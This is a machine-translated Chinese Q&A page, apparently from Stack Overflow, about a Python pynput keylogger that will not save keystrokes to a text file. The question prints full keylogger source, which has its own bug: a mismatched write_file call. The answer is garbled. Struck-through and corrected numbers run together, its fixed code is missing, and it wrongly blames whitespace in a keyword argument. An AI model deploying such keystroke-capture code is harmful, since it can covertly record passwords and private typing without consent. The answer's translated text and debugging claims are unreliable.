键盘记录器将不会保存到python制成的文本文件中

时间:2019-08-17 00:51:42

标签: python keylogger

所以我尝试制作键盘记录器,但是它不会保存到文本文件中。

第一次制作键盘记录器,已经看过一些教程,但是我不知道为什么它不起作用。

这是我完整的代码

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

pycharm中没有显示错误...

1 个答案:

答案 0 :(得分:3)

正如John Gordon在评论中指出的那样,除非您收集了超过9999999999999999999999999999999999999999999999个密钥,否则您的键盘记录器不会保存。一秒钟不间断地输入三个键,将花费大约一年 一千亿年,并创建一个文件几乎正好1GB 10,000万亿兆GB 。但是,根据打字速度测试,人们平均190-200 characters (not words) per minute打字-为什么不每隔15秒左右保存50个字符?您可以将其更改为所需的任何内容。

我还注意到您的程序未正确终止-您在with Listener的{​​{1}}调用中留下了一个空白,这阻止了键盘记录器捕获on_release =on_release密钥(因此还可以防止键盘记录器被杀死,除了esc之外)。

此修改后的代码在我的计算机上运行良好,并捕获了我的所有输入。诡异!

ctrl-z

祝你好运!